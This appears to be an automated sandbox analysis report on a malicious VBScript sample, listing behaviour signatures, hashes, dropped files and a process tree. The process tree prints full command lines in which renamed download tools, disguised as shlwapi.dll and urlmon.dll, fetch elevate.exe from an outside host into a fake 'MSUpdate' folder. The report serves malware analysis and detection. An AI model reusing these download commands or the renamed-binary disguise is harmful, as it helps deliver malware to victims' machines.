Analysis

  • max time kernel
    148s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/07/2026, 09:09

General

  • Target
    D2_29_2.vbs
  • Size 38KB
  • Sample260721-k4htmads3s
  • SHA256 dd38482501a935ca1a657caf42f3c89a3740f51d4f1d55b0f520e1a8903027f7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\D2_29_2.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_95053\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_95053\elevate.exe" https://junjun888.ccwu.cc/5555/2/elevate.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5476
      • C:\Users\Public\Documents\MSUpdate_95053\shlwapi.dll
        C:\Users\Public\Documents\MSUpdate_95053\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_95053\elevate.exe" https://junjun888.ccwu.cc/5555/2/elevate.exe
        3⤵
        • Executes dropped EXE
        PID:1188
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_95053\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/5555/2/elevate.exe "C:\Users\Public\Documents\MSUpdate_95053\elevate.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Users\Public\Documents\MSUpdate_95053\urlmon.dll
        C:\Users\Public\Documents\MSUpdate_95053\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/5555/2/elevate.exe "C:\Users\Public\Documents\MSUpdate_95053\elevate.exe"
        3⤵
        • Executes dropped EXE
        PID:708

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        shlwapi.dll

        • Path C:\Users\Public\Documents\MSUpdate_95053\shlwapi.dll
        • Size 656KB
        • SHA256 730a34ae4cf82e32f676f0bcd81a418967a641b6e9b88d2ec5d8e668ff4d7838
        • MD5 SHA1 SHA512 SSDEEP TLSH

        urlmon.dll

        • Path C:\Users\Public\Documents\MSUpdate_95053\urlmon.dll
        • Size 236KB
        • SHA256 2b090bb7151bf87fc6fa36e13f509b5059a68e694eec2253f1ab74f9a7a0247b
        • MD5 SHA1 SHA512 SSDEEP TLSH